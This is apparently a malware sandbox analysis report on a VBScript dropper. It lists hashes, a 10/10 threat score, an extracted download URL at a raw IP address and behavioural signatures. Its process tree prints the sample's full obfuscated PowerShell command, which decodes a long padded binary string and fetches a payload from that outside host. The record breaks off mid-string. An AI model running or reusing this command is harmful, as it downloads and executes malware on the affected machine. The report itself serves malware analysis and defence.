Analysis
-
max time kernel
117s -
max time network
124s -
platform
windows7_x64 -
resource
win7-en-20211208 -
submitted
27-01-2022 16:08
Static task
static1
Behavioral task
behavioral1
Sample
OHTEYYRNYRTUOHCKYTYP.vbs
Resource
win7-en-20211208
windows7_x64
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
OHTEYYRNYRTUOHCKYTYP.vbs
Resource
win10-en-20211208
windows10_x64
0 signatures
0 seconds
General
-
Target
OHTEYYRNYRTUOHCKYTYP.vbs
-
Size
17KB
-
MD5
e04e4cb7e410b885babba54cd59d5ae9
-
SHA1
4a4c1dc6d7a391aba21719e2b5595c11a172fd8c
-
SHA256
1b976a1fa26c4118d09cd6b1eaeceafccc783008c22da58d6f5b1b3019fa1ba4
-
SHA512
b1824f04a2b3a270a54aaba06efacd06af36d8f508fe4b41dcf6bf3901c129c063d77eaa79d5b2fca3b92cac07aad36a4178af188d3f3bb5b4af227b87cb7941
Score
10/10
Malware Config
Extracted
Language
ps1
Deobfuscated
URLs
exe.dropper
http://15.188.246.78/Q/RILSXDKOPJHN.TXT
Signatures
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Suspicious behavior: EnumeratesProcesses 1 IoCs
Processes:
powershell.exepid process 1096 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 1096 powershell.exe -
Suspicious use of WriteProcessMemory 3 IoCs
Processes:
WScript.exedescription pid process target process PID 1344 wrote to memory of 1096 1344 WScript.exe powershell.exe PID 1344 wrote to memory of 1096 1344 WScript.exe powershell.exe PID 1344 wrote to memory of 1096 1344 WScript.exe powershell.exe
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\OHTEYYRNYRTUOHCKYTYP.vbs"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $Hx = 'http://15.188.246.78/Q/RILSXDKOPJHN.TXT';Function CHGBGWUCPVSBXIVTHVKR([String] $YSPYIFQRKOLKROCJSQSO) {$SCOEXRUXFFEKPCIXXRUS = [System.Collections.Generic.List[Byte]]::new();for ($BCTNTQKOTEUUCVYWRWWX = 0; $BCTNTQKOTEUUCVYWRWWX -lt $YSPYIFQRKOLKROCJSQSO.Length; $BCTNTQKOTEUUCVYWRWWX +=8) {$SCOEXRUXFFEKPCIXXRUS.Add([Convert]::ToByte($YSPYIFQRKOLKROCJSQSO.Substring($BCTNTQKOTEUUCVYWRWWX, 8), 2))}return [System.Text.Encoding]::ASCII.GetString($SCOEXRUXFFEKPCIXXRUS.ToArray())};$RVIGZABQBSOIJNIGJODS = CHGBGWUCPVSBXIVTHVKR 'KDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQ11KDJIRFIIKQ111KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQ111KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ111KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ111KDJIRFIIKQ1KDJIRFIIKQ111KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ111KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ111KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQ1KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQ1111KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQ111KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ111KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ111KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQ111KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ111KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQ1KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQ111KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQ1KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ111KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQ111KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ111KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQ111KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQ111KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQ1KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ111KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ111KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ111KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQ111KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQ1KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ111KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ111KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQ111KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQ1KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQ111KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQ1KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ111KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQ111KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ111KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ111KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ111KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQ111KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ111KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ111KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQ1KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQ111KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQ111KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQ1KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11111KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ1111KDJIRFIIKQ1KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQ11KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1111KDJIRFIIKQ11KDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQ11KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQ11KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ111KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ111KDJIR